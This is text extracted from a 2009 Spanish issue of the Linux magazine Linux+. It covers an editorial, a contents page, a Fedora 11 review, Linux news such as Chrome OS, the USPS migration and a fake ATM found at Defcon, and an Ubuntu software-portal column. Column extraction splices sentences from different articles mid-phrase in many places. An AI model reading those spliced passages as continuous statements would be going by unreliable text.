01_okladka_ES.indd 1 2009-08-14, 12:43 02__rekl_normalina.indd 1 2009-08-13, 14:38 a modo de introducción sale de la sombra Linux sale de la sombra

os vemos otra vez, y como siempre espero que el nú- mero que tenéis entre las manos os parezca entretenido y que saquéis de él los conocimientos prácticos. Este mes tratamos el tema de hardware y Linux que aunque Nya muy conocido sigue siendo actual. La compatibilidad de hardware y Linux ya no es una cuestión tan problemática que hace años pero es mejor saber más sobre este tema para poder evitar los posibles problemas. Como una curiosidad os presentamos un artículo sobre ChromeOS que aunque todavía no disponible (su inauguración está planeada para la segunda mitad del año 2010), en el futuro puede ocupar un espacio importante entre otros sistemas operativos. Lo que nos interesa a nosotros es que está basado en el kernel de linux y que fue pensado para los netbooks. Por ahora es dificíl decir qué impacto tendrá el nuevo sistema y si tendrá éxito pero teniendo en cuenta que Google coopera con las empresas de hardware más importantes, es muy probable. Un hecho interesante es que 33% de los netbooks Dell Inspiron Mini 9 llevan Linux preinstalado () y según los representantes

Cada día más empresas fabricantes de hardware apuestan por Linux por eso pronto el hecho de comprar un equipo con Linux preinstalado no será nada del otro mundo... de la empresa este sistema es muy bien acogido por los usuarios. Los empleados de la empresa dicen también que antes de vender el equipo con Linux, tratan de asegurarse que el cliente sabe en qué consiste este sistema operativo para evitar las futuras devoluciones de los netbooks. Me parece una politica muy buena que puede ayudar en el futuro a po- pularizar el uso de Linux porque cuantas más experiencias positivas, más usuarios nuevos. Cada día más empresas fabricantes de hardware apuestan por Linux por eso parece que sólo hay que esperar un poco y el hecho de comprar un equipo con Linux preinstalado no será nada del otro mun- do. Cuando la gente se acostumbre a la idea de que Linux es el SO uti- lizado en todo el mundo y que no se queda atrás con sus posibilidades, no habrá motivo para no aprovecharlo. Porque tenemos que admitir, aunque nos parezca raro a los linuxeros, que Linux es todavía un siste- ma desconocido por la mayoría de gente. Incluso si oyeron hablar de él y saben que existe, no le tienen mucha confianza. Por eso cada vez que leo que aparecen nuevos modelos de dispositivos o equipos con Linux, le pongo mucha atención a la noticia porque eso significa que Linux sale de la sombra y eso es lo que me alegra muchisimo. ¡Os deseo buena lectura y nos vemos en noviembre!

Paulina Pyrowicz Redactora Jefe de Linux+

www.lpmagazine.org 3

03_Wstepniak.indd 3 2009-08-14, 11:29 índice

En este número

descripción de DVD 24 Linux integrado Lino García Morales 6 Fedora 11 Leonidas Los sistemas integrados son un tipo particular de arquitectura hard- Francisco Javier Carazo Gil ware que, a diferencia de los sistemas generales, se diseña para satis- facer requerimientos muy específicos. Del inglés embedded system se suele traducir como empotrado, embebido, embarcado o incrus - novedades tado. Una plataforma de este tipo implica un control muy preciso de todos los periféricos estrictamente necesarios por lo que, si bien los 8 Noticias sistemas de propósito general (como cualquier PC) admiten un número José Alex Sandoval Moralest casi ilimitado de recursos (discos, interfaces de sonido, vídeo, televi- sión, impresoras, etc.), los sistemas integrados son mucho más cerra - 10 Ubuntu dos, contienen todo lo que necesitan y lo gestionan con muy alto Francisco Javier Carazo Gil rendimiento y muy baja tasa de fallos. 11 Mandriva Juan Gamez 12 Fedora Diego Rivero Montes

hardware 14 ChromeOS: el nuevo SO de Google José María Gómez Hidalgo ChromeOS ha levantado revuelo. Y no es de extrañar, porque cada movimiento del gigante de la Web lo hace. Google salió de un garaje y de la creatividad de los masters de Stanford, Brin y Page, y se ha convertido en un gigante del software que ingresa 16 software millones de dólares al día por publicidad, llegando a rivalizar con Mapserver en GNU/Linux compañías como el titán de Redmond, Microsoft. Este éxito se 30 Joaquín Alberto Rincón-Ramírez basa en una estrategia bien definida y visionaria, que tiene como Mapserver es una aplicación que permite crear un sistema de infor- último movimiento el anuncio de un nuevo sistema operativo mación geográfica en internet capaz de visualizar, generar consultas ligero pensado en la experiencia Web y basado en el navegador y analizar información espacialmente georreferenciada, bajo los Google Chrome, el sistema ChromeOS. estándares del Open Geospatial Consortium. 38 Gcompris: para que los niños aprendan jugando Leonel Iván Saafigueroa Con más de 100 actividades para niños de entre 2 y 10 años de edad, GCompris es un Software Libre educativo, que brinda la posibilidad de adaptarlo a las necesidades del aula.

20 Compatible Linux José Ángel Muñoz Martínez Es increíble pensar en cómo, no hace más de 5 años era casi im- posible encontrar a una persona que apoyara a Linux o al Código Abierto como alternativa a otros sistemas operativos. No sólo en arquitecturas x86, sino en ARM o dentro de un reproductor de música o un teléfono móvil. Hoy en día no sólo hay grandes comunidades que lo hacen, sino que es una realidad más que Juegos palpable. 40 Francisco Javier Carazo Gil

4 Linux+ 10/2009

04_05_Spis_tresci.indd 4 2009-08-14, 11:32 índice

Tema del número Hardware y Linux

práctica seguridad 42 Monitorización de Rendimiento 58 CAINE Entorno de Investigación Asistido en Sistemas GNU/Linux por computadora Jorge Emanuel Capurro Alonso Eduardo Caballero Quezada El óptimo desempeño de un sistema es una tarea muy impor- CAINE es un entorno de investigación asistido por computadora, tante para su correcto funcionamiento, pero sin dudas no es algo una distribución GNU/Linux live creada por Giancarlo Giustini muy fácil de lograr. En este artículo, nos propondremos revisar como un proyecto de Forense Digital para el Centro Interdepar- y analizar cómo detectar problemas de rendimiento en nuestros tamental para la Investigación sobre Seguridad (CRIS), apoyada sistemas GNU/Linux y así poder lograr que nuestro sistema se por la Universidad de Módena y Reggio Emilia. CAINE ofrece aproveche al máximo. un completo entorno forense que está organizado para integrar herramientas de software existente, como módulos de software, y proporciona además una interfaz gráfica amigable.

hacking para linuxeros 50 Buffer Overflows: programación un mal interminable, parte 2 David Puente Castro 68 Primeros pasos en Zend Framework En la primera entrega de este artículo has aprendido la esencia Juan Pablo Tobar de los “stack overflow”, qué son y cómo explotarlos, pero el tra- Programar debería ser divertido y desafiante, pero cuando rein- bajo sobre los mismos ha sido bastante manual; en esta segunda ventamos la rueda o perdemos tiempo en actividades repetitivas entrega estudiaremos las herramientas de que disponemos para y poco creativas, la diversión se esfuma rápidamente. Los fra- aumentar la efectividad de nuestros exploits, cómo averiguar pará- meworks de desarrollo nos entregan un esquema general de tra- metros con el mínimo esfuerzo y otros aspectos relativos a la bajo y código que podemos reutilizar para evitar la reescritura programación segura. de funcionalidades comunes, permitiéndonos así enfocarnos en desarrollar sólo lo exclusivamente necesario. 76 Google App Engine Matías Barletta Simple, escalable y abierto, así es Google App Engine, la plata- forma de desarrollo Web de Google donde podrás sencillamente dedicarte a programar tu aplicación web sin preocuparte por man- tener servidores. ¡Ah, y también es gratis!

opinión 82 La seguridad más allá del virus Fernando de la Cuadra De vez en cuando, los que nos dedicamos a la seguridad infor- mática nos vemos en la obligación de explicar que eso de “la seguridad informática” no es solo evitar que entren virus en los ordenadores. Y mucho más cuando el interlocutor es un “linuxero” de pro y para él eso de la seguridad es una cosa inne- cesaria.

www.lpmagazine.org 5

04_05_Spis_tresci.indd 5 2009-08-14, 15:06 descripción de DVD DVD

Fedora 11

l tiempo pasa y todas las distribu- de sombreros, hecho que influyó, como podéis ciones en activo progresan. Uno imaginar, en la selección de este nombre para de los buques insignia del progre- la nueva distribución que tenía que ser herede- so de las distribuciones GNU/Li- ra de la distribución del sombrero rojo. Enux, es y será Fedora. Una de las distribucio- nes más populares que dos veces al año nos Fedora 11 Figura 2. Logo Red Hat trae una nueva versión cargada de novedades. Tras este pequeño repaso a la historia y orígenes no en todas las distribuciones. La existencia de Novedades no ya propias de la distribución, de Fedora, nos centramos ya en ésta que es la PulseAudio, Alsa, OSS... y la distinta forma de sino de todo el universo GNU/Linux, porque versión número 11 de la distribución. Recuerdo tratarlos, hace que el problema sea algo común si algo define a Fedora respecto de otras dis- perfectamente cuando nació el proyecto, cuyas en todas las distribuciones. tribuciones punteras, es su apuesta por las primeras versiones se llamaban Fedora Core, Fedora intenta solucionarlo creando una tecnologías libres más novedosas. y esta versión número 11 se veía lejos y... quien interfaz gráfica basada en PulseAudio que uni- sabe, quizás imposible porque el proyecto no fica todos los controles de volumen hasta aho- Introducción aguantaría tantos años. El tiempo le ha dado la ra existentes en un único control que cumple Heredera de una distribución tan mítica como razón a los que apostaron por esta distribución las funciones de todos los anteriores, a la vez Red Hat, Fedora prosigue a lo largo de los y tanto su comunidad como sus usuarios, pro- que facilita el uso y la versatilidad del mismo. años desde el lanzamiento de la primera ver- longarán su vida durante mucho tiempo si todo sión de la distribución, Fedora Core Yarrow, sigue como hasta el momento. Modesetting del kernel en Intel, el 3 de Noviembre de 2003. Además de here- Las novedades más importantes son las ATI y Nvidia dera, es la representante para escritorio de la siguientes. La versión anterior, Fedora 10, fue la primera distribución del sombrero rojo que sigue exis- distribución que traía la característica mode- tiendo con otro nombre comercial, Red Hat Instalación automática setting del kernel (KMS) para agilizar el arran- Enterprise Linux, en el contexto comercial de fuente y tipos mime que gráfico. En aquel momento, KMS sola- y empresarial. Desde Fedora 9, la distribución incluye Pack- mente estaba presente en algunas placas ATI. ageKit, una aplicación administradora de soft- Estaba previsto que las sucesivas versiones, Un poco de historia ware multi distristribución. En Fedora 10 se como las que nos ocupa, incluirían un mayor El Proyecto Fedora se creó a finales de 2003 integró en el escritorio de manera más óptima soporte. El trabajo se ha realizado y ahora cuando Red Hat fue descontinuado. La em- y se incluyó la opción de instalación automáti- el soporte se ha extendido a más placas de los presa, siguió soportando y desarrollando una ca de codecs multimedia. Como novedad, Fe- principales fabricantes: Nvidia e Intel, ade- nueva distribución orientada al campo comer- dora 11 extiende esta funcionalidad con la habi- más de por supuesto, Ati. cial: Red Hat Enterprise Linux. Fedora nació lidad de instalar automáticamente fuentes donde El trabajo no está concluido y en sucesivas entonces como respuesta de la comunidad se necesiten para ver y editar documentos. Otra versiones, el número de placas soportadas será a tener una distribución para escritorio basada novedad es la posibilidad de instalar controla- mayor. en la distribución comercial del sombrero rojo. dores para ciertos tipos de contenidos cuando Casos similares se dan en otras distribuciones se necesite. En un futuro, también posibilitará la Huella digital como puede ser Novell SUSE Enterprise (SU- instalación automática de aplicaciones. El uso de huellas digitales como mecanismo SE Linux Enterprise Desktop y SLE Server) de autenticación es un importantísimo paso de y OpenSUSE o Mandriva Corporate respecto Control de Volumen cara a mejorar la seguridad, a la vez que tam- de Mandriva Linux One. Los problemas de audio en el escritorio son bién se hace más fácil la entrada al sistema. Los Desde entonces se han ido sucediendo uno de los puntos a pulir, no sólo en Fedora, si- lectores de huellas digitales y su instalación nueva versiones de la distribución cada 6 me- ses aproximadamente, llevando al usuario las últimas novedades del software libre, con el apoyo de Red Hat y por supuesto, de la comu- nidad de Fedora que es quien lleva adelante el proyecto. Esta versión número 11 tiene como nombre en código Leonidas y fue liberada el día 9 de Junio de 2009. Antes de continuar, os comento que Fedo- ra es también el nombre que reciben un tipo

Figura 1. Logo Fedora Figura 3. Vista inicial del escritorio Gnome

6 Linux+ 10/2009

06_07_Opis_DVD.indd 6 2009-08-14, 11:31 descripción de DVD DVD

cargar el paquete entero cuando se está actua- lizando software. Este problema, tiene relevan- En la red cia cuando los paquetes son de un tamaño con- siderable, ya que podríamos decir que casi • Proyecto Fedora siempre, la nueva versión sólo difiere con – http://fedoraproject.org/ éste en un porcentaje muy bajo. ¿La solu- • Red Hat ción? Descargar sólo la parte que cambia. ¿El – http://www.redhat.es/ problema? Estamos hablando de paquetes bi- • Planeta Fedora Figura 4. Huella digital narios que además están comprimidos, lo que – http://www.fedora-es.com/ e integración en el sistema, no son hasta el dificulta enormemente esta labor. • Más información sobre Fedora en la momento la mejor opción, por los problemas Presto es uno de los primeros programas Wikipedia (español) que traen consigo. que intenta solucionar este problema permi- – http://es.wikipedia.org/wiki/ Para resolver este problema, desde Fedora tiendo descargar sólo lo necesario para actua- Fedora_(distribución_Linux) se han hecho los esfuerzos necesarios para lizar, sin tener que descargar el paquete ente- • Más información sobre Fedora habilitar esta funcionalidad e integrarla plena- ro. Es decir, sólo la diferencia entre ambos, en la Wikipedia (inglés) mente en el sistema. El usuario debe registrar a la que llaman delta. El tiempo de descarga – http://en.wikipedia.org/wiki/ sus huellas en el sistema como parte de la crea- se llega a reducir entre un 60 y un 80 por Fedora_(Linux_distribution ción de su cuenta. Después de hacerlo, podrá ciento. Puesto que no es un software efectivo fácilmente ingresar y autenticar indistintamen- al cien por cien por su juventud, no ha sido • MinGW, un compilador cruzado para te pasando el dedo. Un pequeño paso, pero que incluido por defecto en la instalación, aun- desarrollos mixtos, sin duda tiene una gran importancia de cara a que sí está disponible a través de yum con • OpenOffice.org 3.1, proveer una fácil y rápida autenticación. sólo hacer: • Firefox 3.5, Thunderbird 3, Xserver 1.6, RPM 4.7 y Python 2.6. Sistema de método de entrada IBus • yum-presto – Instala el complemento para La internacionalización es otro punto que se Yum. En resumen mejora en esta versión. Concretamente el mé- • yum install yum-presto – Instala Presto, Si hemos hablado a lo largo de este artículo todo de entrada por defecto para idiomas de propiamente dicho. de Fedora 11, en breve volveremos a sacar Asia, ibus, que ha sido reescrito en C. Permite este tema a la revista con la llegada de Fedora que los métodos de entrada se agreguen y qui- Otras características de interés 12, de nombre Constantine y prevista para ten dinámicamente durante una sesión de Lista abreviada de las otra características de primeros de Noviembre de este año. Sin lugar escritorio. Los idiomas y grafías que soporta interés de la distribución, aparte de las ya a dudas, su periodicidad y las novedades que son: chino (pinyin, libchewing, tablas), indio comentadas: trae cada tan poco tiempo, demostrarán, que (m17n), Japonés (anthy), coreano (libhangul) sigue siendo una de las distribuciones más y más. Por ahora, no es tan completo como • Kernel 2.6.29.4, punteras y populares de todo el software libre. scim y además está en fase de pruebas, por lo • GNOME 2.26, ¿A qué estáis esperando a probarla? que como siempre en el software libre, se pide • KDE 4.2.2, Francisco Javier Carazo Gil que se informe de los posibles problemas y se • Mejora en el tiempo de arranque, envíen sugerencias sobre mejoras. • Nouveau es ahora el controlador por de- fecto para gráficos NVIDIA, Presto • El sistema de ficheros Ext4 está habilita- Sobre el autor Un problema de todos los gestores de paquetes, do por defecto, ya sean RPM o , es la necesidad de des- • GCC 4.4, Francisco Javier Carazo Gil es Ingeniero Técnico en Informática de Sistemas. Na- cido en Córdoba, actualmente está estu- diando Ingeniería en Informática además de trabajar en el Consejo Superior de In- vestigaciones Científicas. Es webmaster de LinuxHispano.net, sitio del que es uno de los fundadores, además de ser el responsable de LinuxHispano-Juegos y colaborador habitual del podcast de LinuxHispano. En esta revista es colabo- rador habitual y sus intereses son prin- cipalmente el software libre, la progra- mación y todo lo relacionado con GNU/Li- nux. Su sitio web personal está en http:// www.jcarazo.com. Podéis contactar con él a través de [email protected]. Figura 5. Vista inicial del escritorio KDE

www.lpmagazine.org 7

06_07_Opis_DVD.indd 7 2009-08-14, 11:31 NEWS novedades Noticias sección llevada por José Alex Sandoval Morales [email protected]

El Software Libre no tiene precio, Servicio Postal de EE.UU. para todo lo demás ¡Tux card! La Linux Foundation, una organización comienza a migrar a Linux sin ánimo de lucro que apoya el crecimien- ecientemente el US Postal Service to del núcleo Linux, anunció una tarjeta (Servicio Postal de Estados Unidos) ha de crédito Visa Platinum para que la gente R pueda contribuir a promover el sistema actualizado su antiguo mainframe de 15 años operativo a través de las iniciativas de de antigüedad en el cual corre el sistema la organización. Product Tracking System (PTS, Sistema de La Fundación Linux se ha asociado con rastreo de productos). Con estas sabias pala- CardPartner para ofrecer la tarjeta de crédito a través del UMB Bank. La organi- bras, el organismo norteamericano comunicó La migración que comenzó el verano boreal zación recibirá US$50 por cada tarjeta el comienzo de la migración desde un am- pasado y se concretó a principios de este año, activa, así como un porcentaje por cada biente privativo a software libre: es parte de un plan a largo plazo para migrar compra realizada con la tarjeta de crédito. “We’ve hosted [PTS] on the mainframe, La Linux Foundation también dice que todos sus sistemas a Linux. Aunque se toparon el 100% de los ingresos de la tarjeta Visa and the mainframe is a proprietary environ- con algunos problemas, los fueron solucionando del programa se destinarán directamente ment, meaning you have to pay the software con el apoyo de las distintas empresas con las a patrocinar eventos de la comunidad vendors a certain price to use their software,” que trabajan, principalmente IBM. y subvenciones de viaje para los miembros Byrnesaid . “We wanted to take advantage of desarrolladores de la comunidad que ayuden a acelerar la innovación en Linux. Linux and open source. We want to grow the El eterno COBOL http://www.techcrunch.com/2009/07/28/ scanned events without having to pay more Uno de los grandes desafíos en este tipo de linux-foundation-launches-branded-credit- software costs. So we started down the path operaciones es no perder toda la inversión card-yes-it-features-tux/ to Linux”. (“Tenemos alojado [PTS] en un realizada en el desarrollo de aplicaciones. En Lazarus y cómo recuperar el texto mainframe, y este mainframe es un entorno sistemas que llevan años operando es común perdido en Firefox propietario, lo que significa que tenemos encontrar el uso de Cobol, un lenguaje que ¿Cuántas veces te ha pasado que estabas que pagar a los proveedores de software un tenía la intención de parecerse a la forma en escribiendo un comentario en un foro o un blog y más tarde descubres que no cierto precio por utilizar su software. Quere- que la gente se expresa, pero que a ojos de has podido publicarlo en la web por tiem- mos tomar las ventajas de Linux y el código hoy no parece tan buena idea. po de espera agotado en el servidor, pro- abierto. Queremos crecer sin tener que pagar Lo que hicieron en USPS fue utilizar un blemas con el navegador web, accidentes, más costes de software. Así que empezamos compilador de Cobol para Linux de Micro etc., volviendo nuevamente a un formula- rio en blanco? No queda más remedio que por el camino a Linux”). Focus. Éste es capaz de tomar el código Co- volver a escribir otra vez. Este trabajo de actualización es un plan bol creado hace años para compilarlo y eje- Afortunadamente, alguien desarrolló un a largo plazo para estandarizarse en el código cutarlo en sistemas Linux. complemento para Firefox que puede ser abierto y utilizar el menos costoso sistema Rediseñar un sistema es un riesgo bas- muy útil para esos momentos. El comple- mento se llama Lazarus Form Recovery operativo Linux. El servicio se está migrando tante grande, por lo tanto el concepto de 2.0 y va guardando de forma segura desde 1300 servidores con Sun Solaris a un reutilizar la lógica de negocio que fue creada (y confidencial) el texto que digitas en ambiente con equipos HP. USPS, está utili- durante todos estos años de forma tan directa un formulario, hasta que ocurre lo inespe- zando SUSE Linux en el computador central tiene bastante sentido. rado, entonces simplemente con un clic derecho seleccionas “Recover form”, (mainframe) y en las plataformas de infor- http://microteknologias.wordpress.com/ eliges el texto que deseas recuperar mática distribuida para lograr una mayor 2009/07/15/servicio-postal-de-eeuu- y ya puedes volver a respirar tranquilo. interoperabilidad entre los dos entornos. comienza-a-migrar-a-linux/ Para mantener la información de forma confidencial, Lazarus permite establecer el tiempo que se almacenarán los datos, luego del cual se borrarán para siempre. Google presentó a Google Chrome OS Ya lo sabes, nunca más vuelvas a reescribir rimero, Google publicó el navegador Chrome OS, en donde la compañía intenta- un texto perdido en un formulario web. Google Chrome, utilizado regularmen- rá replantearse cómo debería ser un sistema https://addons.mozilla.org/en-US/firefox/ P addon/6984 te por alrededor de 30 millones de usuarios operativo actual. (según cifras de la propia compañía), el cual Google Chrome OS es un proyecto de VLC 1.0.0 publicado está diseñado para quienes “viven en la red” código abierto, un sistema operativo ligero VLC es un reproductor multimedia, de distribución libre con licencia GPL, – buscan información, revisan su correo, originalmente destinado para los netbooks, soporta muchos códecs de audio y vídeo, leen noticias, compran en línea, o permane- y se espera que esté disponible para los con- así como diferentes tipos de archivos, cen comunicados con sus amigos. Sin em- sumidores en el segundo semestre del próxi- además de DVD, VCD y varios protocolos bargo, según Google, el navegador funciona mo año. Google se ha comprometido con la streaming. Finalmente, y después de tanto tiempo, sobre sistemas operativos que fueron diseña- Comunidad del código abierto, y durante por fin han alcanzado la versión 1.0.0 dos cuando la era de la Web no existía. Así el transcurso de este año ofrecerán el código la cual ponen a disposición del público. que anunciaron, lo que se podría considerar para que todos sepan lo que están tratando http://www.videolan.org/vlc/ la extensión natural del navegador, el Sis- de lograr. Velocidad, simplicidad y seguridad tema Operativo Google Chome, o Google son los aspectos clave de Google Chrome

8 Linux+ 10/2009

08_09_Newsy.indd 8 2009-08-13, 14:17 novedades NEWS sección llevada por José Alex Sandoval Morales [email protected] Noticias

OS. Quieren diseñar el sistema para que sea las personas que pasan la mayor parte de su Linux, el líder indiscutible en rápido y ligero, para que a los pocos segun- tiempo en la web, y está siendo diseñado supercomputación dos de arrancado te encuentres en la web. para equipos de potencia que van desde Nuevamente Linux encabeza la lista del La interfaz de usuario será mínima, para pequeños netbooks a notebooks y PCs de sistema operativo más utilizado en los 500 supercomputadores más poderosos distraer lo menos posible al usuario, ya que escritorio. Si bien hay zonas en las que Go- del mundo. la mayor parte de la experiencia del usuario ogle Chrome OS y Android se superponen, La 33ª edición de la lista TOP500 de tiene lugar en la web. Y al igual que como creen que la opción impulsará la innovación los supercomputadores, continúa siendo lo hicieron con el navegador, quieren volver en beneficio de todos, incluida la misma liderada por Roadrunner y Jaguar, pero muestra que dos de los 10 primeros a lo básico y rediseñar completamente la Google. puestos están reclamados por nuevos arquitectura subyacente de seguridad del Indican que han escuchado a los usuar- sistemas en Alemania. La última lista, sistema operativo de modo que los usuarios ios y que el mensaje ha sido claro: los com- que se anunció en junio de 2009, en no tengan que hacer frente a virus, malware putadores necesitan mejorar. La gente quie- la Conferencia Internacional de Super- computación, también incluyó a un y actualizaciones de seguridad. re llegar al correo electrónico al instante, nuevo jugador, un sistema de IBM Google Chrome OS funcionará tanto sin perder el tiempo esperando que los com- BlueGene/P en la King Abdullah Uni- en chips x86 (Intel y AMD) como en chips putadores y navegadores se pongan en mar- versisty of Science and Technology ARM y están trabajando con varios fabri- cha. Que los computadores funcionen siem- (KAUST) en Arabia Saudita, posicionado en el puesto 14, corriendo SUSE Linux cantes de equipos para presentar una serie pre tan rápido como cuando los compraron. Enterprise. de netbooks al mercado el próximo año. La Quieren que sus datos sean accesibles don- http://www.top500.org/stats/list/33/osfam arquitectura de software es simple: Google dequiera que estén y no tener que preocu- Chrome funciona sobre un nuevo sistema parse de perder el computador u olvidar ha- OpenSUSE Conference 2009 Del 17 al 20 de septiembre se realizará de ventanas por sobre un núcleo de Linux. cer copias de respaldo de los archivos. Más la OpenSUSE Conference, evento Para los desarrolladores de aplicaciones, la importante aún, no quieren pasar horas confi- destinado a promover y mejorar al web es la plataforma. Todas las aplicacio- gurando sus computadores para que trabaje proyecto openSUSE, una oportunidad para que colaboradores y usuarios se nes basadas en tecnologías web trabajarán con cada nueva pieza de hardware, o tener encuentren cara a cara. automáticamente y las nuevas aplicaciones que preocuparse de constantes actualizacio- También se celebrará el Día de la se pueden escribir usando sus tecnologías nes de software. De esta forma se mejora Libertad de Software, el sábado 19 web favoritas. Y, por supuesto, estas apli- la experiencia informática del usuario, pasa de septiembre con el Open Day – un día completamente dedicado a sesiones caciones se ejecutarán no sólo en Google más tiempo en Internet, Google se beneficia introductorias para los usuarios nuevos Chrome OS, sino que en cualquier navega- y todos felices. en Linux, el software de código abierto dor basado en estándares sobre Windows, Google indica que tienen mucho traba- y openSUSE. MacOS y Linux dando a los desarrollado- jo por hacer, y van a necesitar mucha ayuda http://conference.opensuse.org/ res la mayor base de usuarios de cualquier de la Comunidad de código abierto para Encuentran un cajero automático plataforma. realizar esta visión. Están entusiasmados falso en una convención de hackers Google Chrome OS es un proyecto nue- por lo que ha de venir y esperan que noso- Parece que un grupo de criminales no se percató que instalaría una de sus vo, independiente de Android. Android fue tros también nos motivemos. trampas informáticas en el hotel donde diseñado desde el principio para trabajar En resumen, Google Chrome OS tendrá se realizaría la Defcon, la convención a través de una variedad de dispositivos des- las siguientes características: que reúne más de 8 mil expertos en de teléfonos avanzados a netbooks. En cam- informática de todo el mundo. Uno de los cajeros que estaba en el bio Google Chrome OS se está creando para • Será de código abierto, con un núcleo hotel, que alojaba a la mayoría de los Linux. participantes, no lucía bien y uno de los • Esta diseñado para funcionar en la organizadores explicó que cuando se “nube”. miraba la pantalla se veía un poco oscura, entonces la iluminaron y notaron • Originalmente destinado para los que dentro había un ordenador. netbooks, podrá instalarse en PCs El cajero lucía como uno real, pero de escritorio y notebooks. lo que hacía en realidad era leer toda • Estará disponible a partir del segundo la información de la tarjeta de los usuarios y grabarla. Hace cuánto el semestre de 2010. cajero estaba en el hotel, nadie lo sabe, • Rápido, ligero, simple y seguro serán así que la cantidad de información los aspectos claves. que pudo almacenar podría ser • Funcionará tanto en chips x86 muchísima. Lógicamente, la jugada les salió mal (Intel y AMD) como en chips ARM. ya que los hackers que asistieron al Habrá que seguir atento a este proyecto que evento lo encontraron. potenciará los servicios en la nube y que es un http://microteknologias.wordpress.com/ http://alt1040.com/2009/08/encuentran- verdadero torpedo dirigido a cierta compañía 2009/07/08/google-presento- un-cajero-automatico-falso-en-una-con- vencion-de-hackers de Redmond. Estamos presenciando un punto a-google-chrome-os/ importante dentro de la historia informática.

www.lpmagazine.org 9

08_09_Newsy.indd 9 2009-08-13, 14:17 novedades Ubuntu sección llevada por Francisco Javier Carazo Gil [email protected]

Karmic Koala cada vez más cerca El calendario se acerca cada vez más GetDeb, PlayDeb y otros repositorios a Octubre y cada vez tenemos más de software en línea cerca la versión definitiva de Karmic iempre que hablo con alguien de Ubuntu los juegos, PlayDeb que nos facilitan toda la Koala. Para más exactitud, éstas son las fechas previstas para las versiones alfa, S en concreto y de Linux en general, en- labor de descarga e instalación de paquetes beta y RC previas al lanzamiento de la salzo una característica: la facilidad de la ins- DEB, al ofrecernos un potente motor de bús- estable: talación de software de terceros a través de queda junto con una enorme de colección • 3 de Septiembre de 2009: sistemas de gestión de paquetes, como pueda de software para todas necesidades y sobre Ubuntu 9.10 Alpha 5. • 17 de Septiembre de 2009: ser el caso de APT en sistemas derivados de todas las temáticas, que además se encuentra Ubuntu 9.10 Alpha 6. , dentro de los que se enmarca Ubun- debidamente clasificado, actualizado y lo que • 1 de Octubre de 2009: Ubuntu 9.10 Beta. tu; o de los sistemas basados en paquetes es más importante, comentado y revisado. • 22 de Octubre de 2009: Ubuntu 9.10 RPM, como todas las derivadas de Red Hat. Existen más portales del estilo, pero he deci- Release Candidate. • 29 de Octubre de 2009: El caso es que la facilidad tanto para instalar dido destacar éstos por su funcionamiento y la Ubuntu 9.10 Final Release. como para actualizar todo este software, sólo cantidad de software disponible en ambos. es posible gracias a la arquitectura de los GetDeb es de temática más generalista Ubuntu VS Google Chrome OS repositorios y a que el software es de libre y PlayDeb está sólo dedicado a los juegos. distribución. La verdad es que GetDeb es más completo Dentro del software “cerrado”, es difícil en cuanto a posibilidades y a contenido, pero poder tener un sistema de este tipo y más siempre viene bien tener disponible un catá- aún dotarlo de la cantidad y la calidad del logo de juegos tan completo como en el caso software disponible en, por ejemplo, los re- de PlayDeb para los momentos muertos. positorios oficiales de . Sólo por Dentro de GetDeb, además de encontrar dos motivos esto es imposible, tal como se el software en sí, encontraremos distintas entiende el software cerrado a día de hoy: por versiones de los programas, recomendacio- un lado el coste del mismo hace imposible que nes sobre los mismos, programas destaca- A nadie se le escapa que la salida de se pueda distribuir “tan alegremente” a través dos... y multitud de formas de colaborar (que Google Chrome OS, el sistema operativo de un sistema que facilita tan enormemente vienen explicadas en esta wiki cuya URL os de Google basado en un kernel Linux su distribución, y por otro, la competencia dejo a continuación: http://wiki.getdeb.net/). será una noticia de lo más movida dentro de las Nuevas Tecnologías. De hecho, lógica y natural entre empresas hace muy Aunque parezca mentira, se trata de un diría que será lo más importante que difícil que en un mismo sistema pueda existir portal totalmente ajeno a Canonical (digo ha ocurrido en las tecnologías de la software de distintas compañías. que parece mentira porque en realidad es información en mucho tiempo. El hecho Por lo tanto, cuando hablamos de APT un portal tan completo y tan recomendable de que este basado en un kernel Linux, alegra a la comunidad del Software en el caso de Ubuntu, estamos hablando del para los Ubuntu adictos que parece que sólo Libre en una gran proporción, pero que posiblemente sea el gancho más impor- Canonical podría ser quien estuviera detrás). a la vez preocupa que una empresa tan tante a la hora de atraer nuevos usuarios a nu- Aparte se trata de un portal muy activo, las potente con una maniobra de este tipo, estro sistema favorito. Todo APT está basa- colaboraciones con los usuarios son perma- pueda llegar a ser contraproducente. Con los datos que ahora mismo tenemos do en paquetes DEB y la manera de instalar- nentes y la interacción entre los usuarios del podemos afirmar que la competencia los no es siempre a través de APT o de algún mismo es más que frecuente, muy al estilo no será directa, ya que el sistema programa que haga uso del mismo como Web 2.0. operativo de Google estará centrado Adept o Synaptic. También podemos insta- Probablemente ya los conocierais y co- en el mercado de los netbooks y Ubun- tu, a pesar de tener una versión como larlos directamente bajando manualmente el nozcáis más y quizás mejores, pero sí he de- Netbook Remix que sí lo está, seguirá paquete. cidido tratar este mes sobre los mismos es por centrada en sus ramas principales en el A priori, es una opción menos sofistica- la cantidad de veces que me han “salvado” en mercado de escritorio y cada vez más da e incómoda, pero bien es cierto que pueda la búsqueda de software. Quería aclarar tam- en el de servidores. Aún así, la competencia es buena, más darnos un gran resultado en ciertas ocasiones bién que aunque en un primer momento todo aún cuando el rival es de tanta calidad porque también es muy rápida y tiene ciertas el software está orientado a Ubuntu, en sus como Google y a priori más que un ene- ventajas. La mayor de ellas es la posibilidad distintas versiones, sí es cierto que si sois usua- migo, es un aliado en la l0ucha contra los de instalar software que aún no se encuentra rios de otras distribuciones, probablemente gigantes de Microsoft y Apple. Seguro que en esta revista y en la red en general en los repositorios. Ya sea porque el software o tengáis muchos problemas para poder insta- encontraréis mucha más información no esté en los repositorios o a que el software lar y disfrutar de los mismos. sobre este tema. no esté en la versión que necesitamos, en En la red: Seguro que Google nos ofrecerá en breve ocasiones, por diferentes razones, los repo- más noticias del que puede ser el verda- dero revulsivo del software libre. sitorios son algo lentos actualizando y ampli- • Portal de Software de Ubuntu ando el listado de paquetes. – http://www.getdeb.net/, Para ello disponemos de portales como • Portal de Software lúdico para Ubuntu GetDeb o su hermano dedicado al mundo de – http://www.playdeb.net/.

10 Linux+ 10/2009

10_Ubuntu.indd 10 2009-08-13, 14:18 novedades sección llevada por Juan Gamez [email protected] Mandriva

